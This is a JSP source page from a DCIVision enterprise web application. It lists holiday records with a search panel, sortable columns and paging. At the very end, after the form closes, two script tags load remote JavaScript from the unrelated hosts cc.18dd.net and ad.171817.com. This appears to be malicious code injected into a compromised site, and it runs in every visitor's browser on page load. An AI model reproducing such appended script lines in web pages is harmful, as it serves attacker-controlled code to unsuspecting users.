<%
/*
 * @(#)ListHolidayRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListHolidayRecord.jsp

  This is a ListHolidayRecord page.

    @author             Weison Liang
    @company            DCIVision Ltd
    @creation date      30/03/2005
    @version            $Revision: 1.10.26.9 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listHolidayRecordForm" scope="request" class="com.dcivision.setup.web.ListHolidayRecordForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "listHolidayRecord";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"setup.holiday.holiday_name", "HOLIDAY_NAME"},
                            {"setup.holiday.holiday_type", "HOLIDAY_TYPE"},
                            {"setup.holiday.start_date", "START_DATE"},
                            {"setup.holiday.end_date", "END_DATE"},
                            {"setup.holiday.description", "DESCRIPTION"},
                          };

  String[][] SEARCH_MAP = {
                            {"setup.holiday.holiday_name", "HOLIDAY_NAME"},
                            {"setup.holiday.description", "DESCRIPTION"},
                          };

  String[][] HOLIDAY_TYPE_MAP = {
                            {"common.options.select_menu.select_one", ""},
                            {"setup.holiday.public_holiday", String.valueOf(HolidayRecord.HOLIDAY_TYPE_PUBLIC)},
                            {"setup.holiday.general_holiday", String.valueOf(HolidayRecord.HOLIDAY_TYPE_GENERAL)}
                          };


  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>

<script language="javascript">
<!--


function OpListCustReset(frm) {
  frm.startDate.value = "";
  frm.endDate.value = "";
  frm.basicSearchKeyword.value = "";
  frm.basicSearchType.value = "";
  frm.record[0].checked=false;
  frm.record[1].checked=true;
  OpListReset(frm);
  return false;
}


-->
</script>
<!-- Form Section Begin -->
<html:form action="setup/ListHolidayRecord" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font></layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderLongBg.gif' pathOnly='true'/>" onkeypress="if(event.keyCode==13) OpList(listHolidayRecordForm, '<bean:write name='listHolidayRecordForm' property='sortAttribute' replace=''/>', '<bean:write name='listHolidayRecordForm' property='sortOrder' replace=''/>');">
  <tr>
    <td width="40" rowspan="3" valign="top">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif'/><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField">
        <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>&nbsp;&nbsp;
    </td>
  </tr>
  <tr>
    <td>
    <b><bean:message key='common.label.access_from'/>:
    <html:datepicker property='startDate' />
    &nbsp;<b><bean:message key='common.label.access_to'/>:
    &nbsp;<html:datepicker property='endDate' />
    &nbsp;
    </td>
  </tr>
  <tr>
    <td>
    <b><bean:message key='setup.holiday.holiday_type'/>:
      <html:select property="holidayType">
        <html:options stringArray='<%=HOLIDAY_TYPE_MAP%>'/>
      </html:select>
      <br>
      <html:radio property='record' value=''><bean:message key='common.columnheader.all'/></html:radio>
      <html:radio property='record' value='0'><bean:message key='setup.holiday.reference'/></html:radio>
      <html:radio property='record' value='1'><bean:message key='setup.holiday.record'/></html:radio>
      &nbsp;&nbsp;&nbsp;&nbsp;
      <% String actionString = "return(OpList(listHolidayRecordForm, '" + listHolidayRecordForm.getSortAttribute() + "', '" + listHolidayRecordForm.getSortOrder()+ "'))"; %>
      <html:standardButton label="common.label.search" onClick='<%=actionString%>'/>
      <html:standardButton label="common.label.reset" onClick="document.listHolidayRecordForm.basicSearchKeyword.value='';return(OpListCustReset(listHolidayRecordForm))"/>
    </td></tr>

</table>
<!-- Search Panel End -->

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- Table Heading Begin -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
  <tr>
    <td>
      <html:permissionButton label="common.label.new" right="I" link="MaintHolidayRecord.do"/>
      <html:permissionButton label="setup.holiday.generation" right="I" link="MaintHolidayGeneration.do"/>
    </td>

  </tr>
</table>
<!-- Table Heading End -->

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listHolidayRecordForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listHolidayRecordForm.getSortAttribute()%>" sortOrder="<%=listHolidayRecordForm.getSortOrder()%>" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="holidayRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)holidayRecord).getID()%>);">
    <td valign="top" align="center">
    <%if (((AbstractBaseObject)holidayRecord).getID().intValue()>0) {%>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='holidayRecord' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    <%} else {%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
    <%}%>
    </td>
    <td valign="top" align="center">
      <logic:permission right='E'>
      <a href="MaintHolidayRecord.do?navMode=E&ID=<bean:write name='holidayRecord' property='ID'/>"><html:img src='IconEdit.gif' align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif' align='absmiddle'/>
      </logic:permission>
    </td>
  <td valign="top">
    <bean:write name='holidayRecord' property='holidayName'/>
    </td>
    <td valign="top">
    <%if(HolidayRecord.HOLIDAY_TYPE_GENERAL.equals((((HolidayRecord)holidayRecord).getHolidayType()))){%>
      <bean:message key='setup.holiday.general_holiday'/>
    <%}else if(HolidayRecord.HOLIDAY_TYPE_PUBLIC.equals((((HolidayRecord)holidayRecord).getHolidayType()))){%>
      <bean:message key='setup.holiday.public_holiday'/>
    <%}%>
    </td>
    <td valign="top" align="center">
    <bean:write name='holidayRecord' property='startDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/>
    </td>
    <td valign="top" align="center">
    <bean:write name='holidayRecord' property='endDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>' />
    </td>
    <td valign="top">
    <bean:write name='holidayRecord' property='description'/>
    </td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listHolidayRecordForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpListDelete(listHolidayRecordForm))"/>
          </td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->

</td></tr></table>
</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>